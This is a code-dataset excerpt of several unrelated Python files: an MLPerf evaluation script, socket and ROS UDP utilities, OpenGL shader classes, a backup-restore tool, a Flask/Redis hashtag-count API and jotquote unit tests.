# run the prediction\n try:\n results = self.model.predict({self.model.inputs[0]: qitem.img})\n processed_results = self.post_process(\n results, qitem.content_id, qitem.label, self.result_dict\n )\n if self.take_accuracy:\n self.post_process.add_results(processed_results)\n self.result_timing.append(time.time() - qitem.start)\n except Exception as ex: # pylint: disable=broad-except\n src = [self.ds.get_item_loc(i) for i in qitem.content_id]\n log.error(\"thread: failed on contentid=%s, %s\", src, ex)\n sys.exit(1)\n\n def enqueue(self, query_samples, pbar):\n query_id = idx = list(query_samples.keys())\n\n if len(query_samples) < self.max_batchsize:\n data, label = self.ds.get_samples(idx)\n self.run_one_item(Item(query_id, idx, data, label))\n pbar.update(len(query_samples))\n else:\n bs = self.max_batchsize\n for i in range(0, len(idx), bs):\n data, label = self.ds.get_samples(idx[i : i + bs])\n self.run_one_item(Item(query_id[i : i + bs], idx[i : i + bs], data, label))\n pbar.update(bs)\n\n def finish(self):\n pass\n\n\ndef add_results(final_results, name, count, result_dict, result_list, took, show_accuracy=False):\n percentiles = [50.0, 80.0, 90.0, 95.0, 99.0, 99.9]\n buckets = np.percentile(result_list, percentiles).tolist()\n buckets_str = \",\".join([\"{}:{:.4f}\".format(p, b) for p, b in zip(percentiles, buckets)])\n\n if result_dict[\"total\"] == 0:\n result_dict[\"total\"] = len(result_list)\n\n # this is what we record for each run\n result = {\n \"took\": took,\n \"mean\": np.mean(result_list),\n \"percentiles\": {str(k): v for k, v in zip(percentiles, buckets)},\n \"qps\": len(result_list) / took,\n \"count\": count,\n \"good_items\": result_dict[\"good\"],\n \"total_items\": result_dict[\"total\"],\n }\n acc_str = \"\"\n if show_accuracy:\n result[\"accuracy\"] = 100.0 * result_dict[\"good\"] / result_dict[\"total\"]\n acc_str = \", acc={:.3f}%\".format(result[\"accuracy\"])\n if \"mAP\" in result_dict:\n result[\"mAP\"] = 100.0 * result_dict[\"mAP\"]\n acc_str += \", mAP={:.3f}%\".format(result[\"mAP\"])\n\n # add the result to the result dict\n final_results[name] = result\n\n # to stdout\n print(\n \"{} qps={:.2f}, mean={:.4f}, time={:.3f}{}, queries={}, tiles={}\".format(\n name, result[\"qps\"], result[\"mean\"], took, acc_str, len(result_list), buckets_str\n )\n )\n\n\ndef main():\n global last_timeing\n args = get_args()\n\n log.info(args)\n\n # find backend\n backend = get_backend(args.backend)\n\n # override image format if given\n image_format = args.data_format if args.data_format else backend.image_format()\n\n # --count applies to accuracy mode only and can be used to limit the number of images\n # for testing. For perf model we always limit count to 200.\n count_override = False\n count = args.count\n\n # dataset to use\n wanted_dataset, pre_proc, post_proc, kwargs = SUPPORTED_DATASETS[args.dataset]\n ds = wanted_dataset(\n data_path=os.path.abspath(args.dataset_path),\n image_list=args.dataset_list,\n name=args.dataset,\n image_format=image_format,\n pre_process=pre_proc,\n use_cache=args.cache,\n cache_dir=args.cache_dir,\n count=count,\n **kwargs,\n )\n # load model to backend\n model = backend.load(args.model, inputs=args.inputs, outputs=args.outputs)\n final_results = {\n \"runtime\": model.name(),\n \"version\": model.version(),\n \"time\": int(time.time()),\n \"cmdline\": str(args),\n }\n\n if args.output:\n output_dir = os.path.abspath(args.output)\n os.makedirs(output_dir, exist_ok=True)\n os.chdir(output_dir)\n\n #\n # make one pass over the dataset to validate accuracy\n #\n count = ds.get_item_count()\n\n # warmup\n ds.load_query_samples([0])\n for _ in range(5):\n img, _ = ds.get_samples([0])\n _ = backend.predict({backend.inputs[0]: img})\n ds.unload_query_samples(None)\n\n scenario = \"model evaluation\"\n log.info(\"starting {}\".format(scenario))\n runner = RunnerBase(\n model, ds, args.threads, post_proc=post_proc, max_batchsize=args.max_batchsize\n )\n result_dict = {\"good\": 0, \"total\": 0}\n runner.start_run(result_dict, args.accuracy)\n\n with tqdm.tqdm(total=count, unit=\"image\") as pbar:\n for chunk in chunked(range(count), 1000):\n ds.load_query_samples(chunk)\n runner.enqueue(ds.image_list_inmemory, pbar)\n ds.unload_query_samples(None)\n\n last_timeing = runner.result_timing\n post_proc.finalize(result_dict, ds, output_dir=args.output)\n\n add_results(\n final_results,\n scenario,\n count,\n result_dict,\n last_timeing,\n time.time() - ds.last_loaded,\n args.accuracy,\n )\n\n runner.finish()\n\n #\n # write final results\n #\n file_name = os.path.basename(args.model).split(\".onnx\")[0]\n if args.output:\n with open(f\"{file_name}_n={count}.json\", \"w\") as f:\n json.dump(final_results, f, sort_keys=True, indent=4)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"mlcommons/inference_results_v2.0","sub_path":"closed/FuriosaAI/code/quantization/mlperf_evaluation/python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":18681,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"52"} +{"seq_id":"17729046250","text":"#!/usr/bin/env python3\n\nimport os, sys, socket, socketutil\nimport random\n\nserver_host = None\nserver_port = 9000\n\nif len(sys.argv) < 4:\n print(\"usage:\")\n print(\" %s count size server_host [server_port]\" % (sys.argv[0]))\n exit()\n\ncount = int(sys.argv[1])\nsize = int(sys.argv[2])\nserver_host = sys.argv[3]\nif len(sys.argv) > 4:\n server_port = int(sys.argv[4])\nserver_addr = (server_host, server_port)\n\nprint(\"Sending %d messages of %d bytes each to server at %s:%d\" % (count, size, server_host, server_port))\n\nc = socketutil.socket(socket.AF_INET, socket.SOCK_STREAM)\nc.connect(server_addr)\n\nc.sendall(\"count:\" + str(count) + \"\\n\")\nc.sendall(\"size:\" + str(size) + \"\\n\")\n\nbuf = bytearray(random.getrandbits(8) for i in range(size))\n\nfor i in range(count):\n # send exactly size bytes of random data\n c.sendall(buf)\n # wait for a 1-byte reply\n reply = c.recv_exactly(1)\n if reply != b\"a\":\n break\n# server will send us a total count of all data received\ntotal = int(c.recv_line())\nc.close()\nprint(\"Done! Server got %d bytes total\" % (total))\n","repo_name":"kevinawalsh/csci356-p3-template","sub_path":"perf_client.py","file_name":"perf_client.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30504100946","text":"#!/usr/bin/env python\nimport roslib; roslib.load_manifest('udp_server')\nimport rospy\nfrom std_msgs.msg import Float32\nimport socket\nimport math\n\ndef talker():\n linear_pub = rospy.Publisher('/youbot_client/platform_vel_cmd/linear', Float32)\n angular_pub = rospy.Publisher('/youbot_client/platform_vel_cmd/angular', Float32)\n rospy.init_node('udp_server')\n UDP_IP = '0.0.0.0'\n UDP_PORT = 5555\n\n sock = socket.socket(socket.AF_INET, # Internet\n socket.SOCK_DGRAM) # UDP\n sock.bind((UDP_IP, UDP_PORT))\n print('Connected to address %s:%d' % (UDP_IP, UDP_PORT))\n while not rospy.is_shutdown():\n data_str, addr = sock.recvfrom(1024) # buffer size is 1024 bytes\n data = data_str.split(',')\n accx = float(data[2])\n accy = float(data[3])\n accz = float(data[4]) \n ang_turn = math.atan2(accy, accx)\n ang_acc = math.atan2(accz, accx)\n \n if (ang_acc < 0.4 * math.pi and ang_acc > -0.4 * math.pi and\n ang_turn < 0.4 * math.pi and ang_turn > -0.4 * math.pi):\n if ang_turn >= 0.1:\n ang_vel = (ang_turn - 0.1) * 2.0\n elif ang_turn <= -0.1:\n ang_vel = (ang_turn + 0.1) * 2.0\n else:\n ang_vel = 0.0\n \n if ang_acc >= 0.1:\n lin_vel = (ang_acc - 0.1) * 1.0\n elif ang_acc <= -0.1:\n lin_vel = (ang_acc + 0.1) * 1.0\n ang_vel = ang_vel * (-1.0);\n else:\n lin_vel = 0.0\n \n \n else:\n ang_vel = 0.0\n lin_vel = 0.0\n \n rospy.loginfo('angs: %f %f' % (lin_vel, ang_vel))\n linear_pub.publish(Float32(lin_vel))\n angular_pub.publish(Float32(ang_vel))\n #rospy.sleep(1.0)\n\n\nif __name__ == '__main__':\n try:\n talker()\n except rospy.ROSInterruptException:\n pass\n","repo_name":"DaniSagan/youbot-udp-controller","sub_path":"udp_server/scripts/udp_server_node.py","file_name":"udp_server_node.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73774150885","text":"#\n# For this is how God loved the world:
\n# he gave his only Son, so that everyone
\n# who believes in him may not perish
\n# but may have eternal life.\n# \n# John 3:16\n#\nimport numpy as np\nfrom OpenGL.GL import *\nfrom aRibeiro.window import *\n\nclass GLShader:\n def __init__(self, window:Window):\n self.window = window\n self.program_id = None\n self.v_shader = None\n self.f_shader = None\n \n def __del__(self):\n self.dispose()\n \n def dispose(self):\n if self.program_id == None:\n return\n if self.window.active():\n if glGetIntegerv(GL_CURRENT_PROGRAM) == self.program_id:\n glUseProgram(0)\n glDeleteProgram(self.program_id)\n self.program_id = None\n \n def compile(self, vertex, fragment):\n\n self.v_shader = glCreateShader(GL_VERTEX_SHADER)\n glShaderSource(self.v_shader, [vertex], None)\n glCompileShader(self.v_shader)\n status = glGetShaderiv(self.v_shader, GL_COMPILE_STATUS)\n if status != 1:\n print('VERTEX SHADER ERROR')\n print(glGetShaderInfoLog(self.v_shader).decode())\n raise Exception(\"VERTEX SHADER ERROR\")\n \n self.f_shader = glCreateShader(GL_FRAGMENT_SHADER)\n glShaderSource(self.f_shader, [fragment], None)\n glCompileShader(self.f_shader)\n status = glGetShaderiv(self.f_shader, GL_COMPILE_STATUS)\n if status != 1:\n print('FRAGMENT SHADER ERROR')\n print(glGetShaderInfoLog(self.f_shader).decode())\n raise Exception(\"FRAGMENT SHADER ERROR\")\n\n self.program_id = glCreateProgram()\n glAttachShader(self.program_id, self.v_shader)\n glAttachShader(self.program_id, self.f_shader)\n\n def bindAttribLocation(self, location, attrib_name):\n glBindAttribLocation(self.program_id, location, attrib_name)\n\n def link(self):\n glLinkProgram(self.program_id)\n status = glGetProgramiv(self.program_id, GL_LINK_STATUS)\n if status != 1:\n print('status', status)\n print('SHADER PROGRAM', glGetShaderInfoLog(self.program_id).decode())\n raise Exception(\"SHADER LINK ERROR\")\n\n glDetachShader(self.program_id, self.v_shader)\n glDetachShader(self.program_id, self.f_shader)\n\n glDeleteShader(self.v_shader)\n glDeleteShader(self.f_shader)\n\n self.v_shader = None\n self.f_shader = None\n\n def enable(self):\n glUseProgram(self.program_id)\n \n def disable(self):\n glUseProgram(0)\n\n def getAttribLocation(self, name):\n return glGetAttribLocation(self.program_id, name)\n \n def getUniformLocation(self, name):\n return glGetUniformLocation(self.program_id, name)\n \n\nclass PositionColorShader(GLShader):\n def __init__(self, window:Window):\n super().__init__(window)\n vertex_shader = \"\"\"\n # version 120\n attribute vec4 aPosition;\n attribute vec4 aColor;\n uniform mat4 uMVP;\n varying vec4 color;\n void main() {\n color = aColor;\n gl_Position = uMVP * aPosition;\n }\n \"\"\"\n fragment_shader = \"\"\"\n # version 120\n varying vec4 color;\n void main() {\n gl_FragColor = color;\n }\n \"\"\"\n self.compile(vertex_shader, fragment_shader)\n self.bindAttribLocation(0, \"aPosition\")\n self.bindAttribLocation(1, \"aColor\")\n self.link()\n self.uMVP = self.getUniformLocation(\"uMVP\")\n \n def setMVP_Matrix4x4(self, mvp:np.array):\n #aux = np.reshape(mvp,[16])\n #glUniformMatrix4fv(self.uMVP, 1, GL_TRUE, aux)\n glUniformMatrix4fv(self.uMVP, 1, GL_TRUE, mvp)\n \n\n\nclass TextureShader(GLShader):\n def __init__(self, window:Window):\n super().__init__(window)\n vertex_shader = \"\"\"\n # version 120\n attribute vec4 aPosition;\n attribute vec2 aUV;\n uniform mat4 uMVP;\n varying vec2 uv;\n void main() {\n uv = aUV;\n gl_Position = uMVP * aPosition;\n }\n \"\"\"\n fragment_shader = \"\"\"\n # version 120\n varying vec2 uv;\n uniform sampler2D uTexture;\n void main() {\n gl_FragColor = texture2D(uTexture, uv);\n }\n \"\"\"\n self.compile(vertex_shader, fragment_shader)\n self.bindAttribLocation(0, \"aPosition\")\n self.bindAttribLocation(1, \"aUV\")\n self.link()\n self.uMVP = self.getUniformLocation(\"uMVP\")\n self.uTexture = self.getUniformLocation(\"uTexture\")\n \n def setMVP_Matrix4x4(self, mvp:np.array):\n #aux = np.reshape(mvp,[16])\n #glUniformMatrix4fv(self.uMVP, 1, GL_TRUE, aux)\n glUniformMatrix4fv(self.uMVP, 1, GL_TRUE, mvp)\n def setTexture_SamplerUnit(self, texUnit):\n glUniform1i(self.uTexture, texUnit)\n\n","repo_name":"A-Ribeiro/ARibeiroPythonFramework","sub_path":"aRibeiro/opengl/GLShader.py","file_name":"GLShader.py","file_ext":"py","file_size_in_byte":5034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8926222824","text":"favorite_lang = {\n 'jen':'python',\n 'sarah':'c',\n 'edward':'ruby',\n 'phil':'python',\n }\nfor name, lang in favorite_lang.items(): # выводим полностью словарь\n print(name.title() + \"s любимый язык программирования - \" +\n lang.title() + \".\")\n\nfor name in favorite_lang.keys(): # выводим только ключи словаря, без значений, на которые ключи указывают\n print(name.title())\n\nfor name in favorite_lang: # аналогична предыдущей записи, цикл по умолчанию перебирает ключи словаря\n print(name.title())\n\n\nfriends = ['phil', 'sarah']\nfor name in favorite_lang.keys():\n print(name.title())\n\n if name in friends:\n print(\" Hi \" + name.title() + \" Я вижу твой любимый язык программирования \" +\n favorite_lang[name].title() + \"!\")\n","repo_name":"alexDNR/Lessons","sub_path":"python_lessons/PythonLessons/DICT/dict_1.py","file_name":"dict_1.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"72896064806","text":"# Title: Generic Clean-Up - Remove value at the end of a targeted meta\n# Description: Get that value outta here!\n# Required data:\n# Parameters: targeted_metadata_name, removeValueAndWhatFollows\n\ndef get_safe_meta_data(meta_data_name):\n\tsafe_meta = ''\n\tmeta_data_value = document.get_meta_data_value(meta_data_name)\n\tif len(meta_data_value) > 0:\n\t\tsafe_meta = meta_data_value[-1]\n\treturn safe_meta\n\ndef removeThisAndWhatFollows(targeted_metadata_name, removeValueAndWhatFollows):\n try:\n targeted_meta = get_safe_meta_data(targeted_metadata_name)\n \n remove_value_position = targeted_meta.find(removeValueAndWhatFollows)\n\n if remove_value_position > -1:\n updated_meta = targeted_meta[0:remove_value_position]\n document.add_meta_data({targeted_metadata_name: updated_meta})\n\n except Exception as e:\n log(str(e), 'Error')\n \nif 'targeted_metadata_name' not in parameters:\n log('targeted_metadata_name has not been specified, please supply a parameter targeted_metadata_name')\n raise Exception('Supply a targeted_metadata_name in the parameters of ext')\nif 'removeValueAndWhatFollows' not in parameters:\n log('removeValueAndWhatFollows has not been specified, please supply a parameter removeValueAndWhatFollows')\n raise Exception('Supply a removeValueAndWhatFollows in the parameters of ext')\n \nremoveThisAndWhatFollows(parameters['targeted_metadata_name'],parameters['removeValueAndWhatFollows'])","repo_name":"coveo-labs/extensions-templates","sub_path":"extensions/GenericCleanUpRemoveValueAtTheEndOfATargetedMeta.py","file_name":"GenericCleanUpRemoveValueAtTheEndOfATargetedMeta.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"42782850737","text":"\"\"\"Restore command\n\nUsage:\n ltarchiver-restore \n\n\"\"\"\n\nimport os\nimport pathlib\nimport shutil\nimport subprocess\nimport shlex\n\nfrom docopt import docopt\n\nfrom ltarchiver import common\n\nfrom ltarchiver.common import (\n error,\n file_ok,\n recordbook_checksum_file_path,\n recordbook_path,\n recordbook_file_name,\n get_file_checksum,\n get_records,\n recordbook_dir,\n record_of_file,\n)\n\n\ndef run():\n arguments = docopt(__doc__)\n backup_file_path = pathlib.Path(arguments[\"\"]).resolve()\n if pathlib.Path(arguments[\"\"]).is_dir():\n destination_path = (\n pathlib.Path(arguments[\"\"]) / backup_file_path.name\n )\n else:\n destination_path = pathlib.Path(arguments[\"\"])\n restore(backup_file_path, destination_path)\n\n\ndef restore(backup_file_path: pathlib.Path, destination_path: pathlib.Path):\n destination_path = destination_path.resolve()\n if destination_path == backup_file_path:\n common.error(\"Backup and destination are the same.\")\n file_ok(backup_file_path)\n print(\n f\"This program will check if there are any errors on the file {backup_file_path} and try to restore them if\"\n f\" necessary.\\nDestination: {destination_path}\"\n )\n if not common.DEBUG:\n input(\"Press ENTER to continue. Press Ctrl+C to abort.\")\n file_ok(recordbook_checksum_file_path)\n local_record_is_valid = (\n subprocess.call(shlex.split(f\"md5sum -c {recordbook_checksum_file_path}\")) == 0\n )\n dest_uuid, dest_root = common.get_device_uuid_and_root_from_path(backup_file_path)\n metadata_dir = (\n backup_file_path.parent / common.METADATA_DIR_NAME\n if common.DEBUG\n else dest_root / common.METADATA_DIR_NAME\n )\n backup_checksum_file = metadata_dir / \"checksum.txt\"\n\n backup_record_is_valid = False\n if backup_checksum_file.is_file() and os.access(backup_checksum_file, os.R_OK):\n backup_record_is_valid = (\n subprocess.call(shlex.split(f\"md5sum -c {backup_checksum_file}\")) == 0\n )\n backup_file_checksum = get_file_checksum(backup_file_path)\n # check if file is in either record\n local_record = record_of_file(\n recordbook_path, backup_file_checksum, backup_file_path\n )\n record_in_local = local_record is not None\n recordbook_backup_path = metadata_dir / recordbook_file_name\n backup_record = record_of_file(\n recordbook_backup_path, backup_file_checksum, backup_file_path\n )\n record_in_backup = backup_record is not None\n\n if record_in_local:\n if local_record_is_valid:\n record = local_record\n if not record_in_backup:\n try_copy_recordbook(recordbook_path, recordbook_backup_path)\n else:\n pass # Nothing to do since backup already has a copy of the record\n else:\n if record_in_backup:\n if backup_record_is_valid:\n record = backup_record\n try_copy_recordbook(recordbook_backup_path, recordbook_path)\n else:\n input(\n \"The file was found in both recordbooks but they (the recordbooks) don't match their checksums. Press CTR+C to\"\n \" abort or Enter to try continuing with the restoration.\"\n )\n else:\n input(\n \"The file was found only in the local recordbook but its checksum doesn't match. Press CTR+C to\"\n \" abort or Enter to try continuing with the restoration.\"\n )\n else:\n if record_in_backup:\n if backup_record_is_valid:\n record = backup_record\n try_copy_recordbook(recordbook_backup_path, recordbook_path)\n else:\n input(\n \"The file was only found in the backup recordbook but it doesn't match the checksum. Press CTR+C to\"\n \" abort or Enter to try continuing with the restoration.\"\n )\n else:\n error(\n f\"Neither {backup_file_path.name} or its checksum was found in the recordbooks\"\n )\n\n backup_md5 = get_file_checksum(backup_file_path)\n original_ecc_file_path = (metadata_dir / \"ecc\") / record.checksum\n original_ecc_checksum = get_file_checksum(original_ecc_file_path)\n if backup_md5 == record.checksum and original_ecc_checksum == record.ecc_checksum:\n print(\"No errors detected on the file. Beginning copy.\")\n shutil.copyfile(backup_file_path, destination_path)\n print(\"File was successfully copied. Goodbye.\")\n exit(0)\n elif backup_md5 == record.checksum and original_ecc_checksum != record.ecc_checksum:\n print(\n \"Only the ecc differs from what's stored in the recordbook. The fastest way to go is to call the restore\"\n \" routine on this file again.\"\n )\n exit(1)\n else:\n print(\n \"Checksum doesn't match. Attempting to restore the file onto destination.\"\n )\n new_ecc_file_path = recordbook_dir / \"temp_ecc.bin\"\n subprocess.check_call(\n [\n \"c-ltarchiver/out/ltarchiver_restore\",\n str(backup_file_path),\n str(destination_path),\n str(original_ecc_file_path),\n str(new_ecc_file_path),\n ]\n )\n print(\"Checking if the restoration succeeded...\")\n new_ecc_checksum = get_file_checksum(new_ecc_file_path)\n destination_checksum = get_file_checksum(destination_path)\n failed = False\n if new_ecc_checksum != record.ecc_checksum:\n print(\"The restored ECC doesn't match what was expected.\")\n failed = True\n if destination_checksum != record.checksum:\n print(\"The file doesn't match what was expected.\")\n failed = True\n if failed:\n print(\n \"Sorry! Failed to restore the requested file. You are on your own now.\"\n )\n exit(1)\n else:\n subprocess.check_call([\"cp\", new_ecc_file_path, original_ecc_file_path])\n os.remove(new_ecc_file_path)\n print(\"Restoration successful!\")\n exit(0)\n\n\ndef try_copy_recordbook(source, destination):\n destination_records = get_records(destination)\n source_records = get_records(source)\n destination_checksums = {record.checksum for record in destination_records}\n source_checksums = {record.checksum for record in source_records}\n destination_filename = {record.file_name for record in destination_records}\n source_filename = {record.file_name for record in source_records}\n has_more = False\n if destination_checksums - source_checksums:\n print(f\"{destination} has checksums that {source} doesn't\")\n has_more = True\n if destination_filename - source_filename:\n print(f\"{destination} has files that {source} doesn't\")\n has_more = True\n if has_more:\n while True:\n answer = input(\n f\"Do you want to overwrite {destination} with the contents of {source} (yes/no/abort)?\"\n ).lower()\n if answer == \"yes\":\n shutil.copy(source, destination)\n return\n elif answer == \"no\":\n return\n elif answer == \"abort\":\n exit(1)\n else:\n pass\n\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"marceloslacerda/ltarchiver","sub_path":"ltarchiver/check_and_restore.py","file_name":"check_and_restore.py","file_ext":"py","file_size_in_byte":7578,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"290631577","text":"#!/usr/bin/python\n\nfrom ConfigParser import ConfigParser\nfrom argparse import ArgumentParser\nfrom flask import request, Flask\nfrom flask.ext.cache import Cache\nfrom operator import itemgetter\nfrom redis import Redis\nimport json\nimport os\nimport re\nimport sys\n\napp = Flask(__name__)\n\napp.config['CACHE_TYPE'] = 'simple'\napp.cache = Cache(app)\n\n# Read a configuration file\nconf_parser = ArgumentParser(add_help = False)\nconf_parser.add_argument(\n \"--conf\",\n help=\"Alternative Config File Location\",\n metavar=\"FILE\"\n)\n\n# Get the path to the root directory of the repo\nrootdir = os.path.realpath(os.path.join(os.path.dirname(sys.argv[0]), '..'))\n\nargs, args_rest = conf_parser.parse_known_args()\nconfig = ConfigParser()\nconfig.readfp(open(args.conf or '%s/config/hashtag_counter.cfg' % rootdir))\n\n# Get the default config values\ndefaults = {}\nfor section in config.sections():\n defaults = dict(defaults.items() + config.items(section))\n\nparser = ArgumentParser(parents=[conf_parser])\nparser.set_defaults(**defaults)\n\nargs = parser.parse_args(args_rest)\n\n\n\"\"\"\n############### ROUTES ###############\n\"\"\"\n# Get a count of hashtags from tweets that include\n# the word represented by the variable `tweet_filter`\n@app.route(\"/count/\", methods=[\"GET\"])\n@app.route(\"/count//\", methods=[\"GET\"])\n@app.cache.cached(timeout=10)\ndef count(tweet_filter, num_results=100):\n redis = Redis(\n host = args.redis_host,\n port = int(args.redis_port),\n db = 0\n )\n\n keys = redis.keys(\"%s:*\" % tweet_filter)\n values = redis.mget(keys)\n regex = re.compile(r':(.+)$')\n response = []\n\n # Check if \"num_results\" param exists and check if\n # the keys are less than num_results\n length = len(keys)\n\n for i in range(0, length):\n key = keys[i]\n value = values[i]\n\n match = re.search(regex, key)\n response.append(\n {\n 'hashtag' : match.group(1),\n 'count' : int(value)\n }\n )\n\n response = sorted(\n response,\n key = itemgetter('count'),\n reverse = True\n )\n\n # Trim the response appropriately\n num_results = int(num_results)\n if (length > num_results): length = num_results\n\n response = response[:length]\n\n return json.dumps(response)\n\n# Flush Redis stats by tweet filter\n@app.route(\"/reset/\", methods=[\"DELETE\"])\ndef reset(tweet_filter):\n redis = Redis(\n host = args.redis_host,\n port = int(args.redis_port),\n db = 0\n )\n\n if (not tweet_filter):\n return json.dumps(\n {\n 'response' : 'error',\n 'reason' : 'No tweet filter',\n }\n )\n\n keys = redis.keys(\"%s:*\" % tweet_filter)\n count = len(keys)\n\n redis.delete(*keys)\n\n return json.dumps(\n {\n 'response' : 'ok',\n 'debug' : 'Deleted %s keys' % count,\n }\n )\n\nif __name__ == '__main__':\n app.run(\n debug = True,\n host = args.api_host,\n port = int(args.api_port)\n )\n","repo_name":"davarisg/twitter-hashtag-count","sub_path":"api/hashtag_count_api.py","file_name":"hashtag_count_api.py","file_ext":"py","file_size_in_byte":3101,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"10410930745","text":"# -*- coding: utf-8 -*-\n# This file is licensed under the terms of the MIT License. See the LICENSE\n# file in the root of this repository for complete details.\n\nimport os\nimport sys\nimport tests\nimport click\nimport pytest\n\nfrom jotquote import api\n\nmy_args = ()\ndef test__write_quotes__should_write_to_temp_filename(monkeypatch, tmp_path):\n # Given a quote file with a few quotes in it\n quotefile = tests.test_util.init_quotefile(str(tmp_path), \"quotes1.txt\")\n quotes = api.read_quotes(quotefile)\n\n # And given the open_file() function wrapped with function that tracks args\n original_open_file = click.open_file\n def mock_open_file(*args, **kwargs):\n global my_args\n my_args = args\n return original_open_file(*args, **kwargs)\n monkeypatch.setattr(click, \"open_file\", mock_open_file)\n\n # When write_quotes() called\n api.write_quotes(quotefile, quotes)\n\n # Then check open_file() called with temporary filename\n assert my_args[0] != quotefile\n\n\ndef test__write_quotes__should_create_backup_file(tmp_path):\n # Given a quote file with a few quotes in it\n quotefile = tests.test_util.init_quotefile(str(tmp_path), \"quotes1.txt\")\n quotes = api.read_quotes(quotefile)\n\n # When write_quotes() called\n api.write_quotes(quotefile, quotes)\n\n # Then check open_file() called with temporary filename\n assert os.path.exists(os.path.join(str(tmp_path), '.quotes1.txt.jotquote.bak'))\n\n\ndef test__write_quotes__should_replace_backup_file(tmp_path):\n # Given a quote file with a few quotes in it\n quote_path = tests.test_util.init_quotefile(str(tmp_path), \"quotes1.txt\")\n quotes = api.read_quotes(quote_path)\n quote_path_2 = tests.test_util.init_quotefile(str(tmp_path), \"quotes1.txt\")\n quotes2 = api.read_quotes(quote_path_2)\n\n # When write_quotes() called twice\n api.write_quotes(quote_path, quotes2)\n api.write_quotes(quote_path, quotes)\n\n # Then backup file has quotes2 content\n backup_quotes = api.read_quotes(os.path.join(str(tmp_path), '.quotes1.txt.jotquote.bak'))\n assert len(backup_quotes) == len(quotes2)\n assert backup_quotes[0] == quotes2[0]\n\n\ndef test__write_quotes__should_not_modify_quote_file_on_write_error(monkeypatch, tmp_path):\n # Given two quote files with a few quotes in each\n quote_path = tests.test_util.init_quotefile(str(tmp_path), \"quotes1.txt\")\n quotes = api.read_quotes(quote_path)\n quote_path_2 = tests.test_util.init_quotefile(str(tmp_path), \"quotes2.txt\")\n quotes2 = api.read_quotes(quote_path_2)\n\n # And given fake writer\n class FakeWriter:\n def __init__(self, path):\n with open(path, 'w') as file:\n file.write('bad contents')\n\n def __enter__(self):\n return self\n\n def __exit__(self, arg1, arg2, arg3):\n pass\n\n def write(self, bytes):\n raise IOError(\"Fake write error\")\n\n # And given the open_file() function wrapped with function that tracks args\n def fake_open_file(*args, **kwargs):\n return FakeWriter(args[0])\n original_open_file = click.open_file\n monkeypatch.setattr(click, \"open_file\", fake_open_file)\n\n # When write_quotes() called\n with pytest.raises(click.ClickException) as excinfo:\n api.write_quotes(quote_path, quotes2)\n\n # Then check quote_path was not modified\n monkeypatch.setattr(click, \"open_file\", original_open_file)\n assert \"an error occurred writing the quotes. The file '{0}' was not modified.\".format(quote_path) == str(excinfo.value)\n assert tests.test_util.compare_quotes(quotes, api.read_quotes(quote_path))\n\n\ndef test__write_quotes__should_return_good_exception_when_backup_larger_than_quote_file(monkeypatch, tmp_path):\n # Given a quote file quotes5.txt with a single quote in it\n quote_path = tests.test_util.init_quotefile(str(tmp_path), \"quotes5.txt\")\n quotes = api.read_quotes(quote_path)\n\n # And given a backup file .quotes5.txt.jotquote.bak with 4 quotes in it\n quotes_path_2 = tests.test_util.init_quotefile(str(tmp_path), \"quotes1.txt\")\n backup_path = os.path.join(str(tmp_path), '.quotes5.txt.jotquote.bak')\n os.rename(quotes_path_2, backup_path)\n\n # When write_quotes() called to write quotes to quotes5.txt\n with pytest.raises(click.ClickException) as excinfo:\n api.write_quotes(quote_path, quotes)\n\n # Then an error message returned indicating backup file larger than new quotes5.txt\n assert \"the backup file '.quotes5.txt.jotquote.bak' is larger than the quote file 'quotes5.txt' would be after this operation. This is suspicious, the quote file was not modified. If this was expected, delete the backup file and try again.\" == str(excinfo.value)\n assert tests.test_util.compare_quotes(quotes, api.read_quotes(quote_path))\n\n\n@pytest.mark.parametrize(\"raw_quote, expected_quote, expected_author, expected_publication\",\n [\n (\"This is a quote. - Author\",\n \"This is a quote.\",\n \"Author\",\n None),\n (\"This is-a quote. - Author\",\n \"This is-a quote.\",\n \"Author\",\n None),\n (\"This is a quote. - Author-name\",\n \"This is a quote.\",\n \"Author-name\",\n None),\n (\"This is a quote.-Author\",\n \"This is a quote.\",\n \"Author\",\n None),\n (\"This is a quote with alternative-punctuation! - Author\",\n \"This is a quote with alternative-punctuation!\",\n \"Author\",\n None),\n (\"This is a quote. - Author(My Publication)\",\n \"This is a quote.\",\n \"Author\",\n \"My Publication\"),\n (\"This is a quote. - Author (My Publication)\",\n \"This is a quote.\",\n \"Author\",\n \"My Publication\"),\n (\"This is a quote. - Author,(My Publication)\",\n \"This is a quote.\",\n \"Author\",\n \"My Publication\"),\n (\"This is a quote. - Author, (My Publication)\",\n \"This is a quote.\",\n \"Author\",\n \"My Publication\"),\n (\"This is a quote. - Author,'My Publication-name'\",\n \"This is a quote.\",\n \"Author\",\n \"My Publication-name\"),\n (\"This is a quote. - Author, 'My Publication-name'\",\n \"This is a quote.\",\n \"Author\",\n \"My Publication-name\"),\n (\"This is a quote. - Author, Publication\",\n \"This is a quote.\",\n \"Author\",\n \"Publication\")])\ndef test__parse_quote_simple__should_parse_out_author_and_publication(raw_quote, expected_quote, expected_author, expected_publication):\n quote, author, publication, tags = api._parse_quote_simple(raw_quote)\n\n assert quote == expected_quote\n assert author == expected_author\n assert publication == expected_publication\n assert tags == []\n\n\n@pytest.mark.parametrize(\"raw_quote, error_message\",\n [\n (\"This is a quote. - Author name (publication name) more stuff\", \"unable to parse the author and publication. Try 'Quote - Author (Publication)', or 'Quote - Author, Publication'\"),\n (\"This is-a quote. - 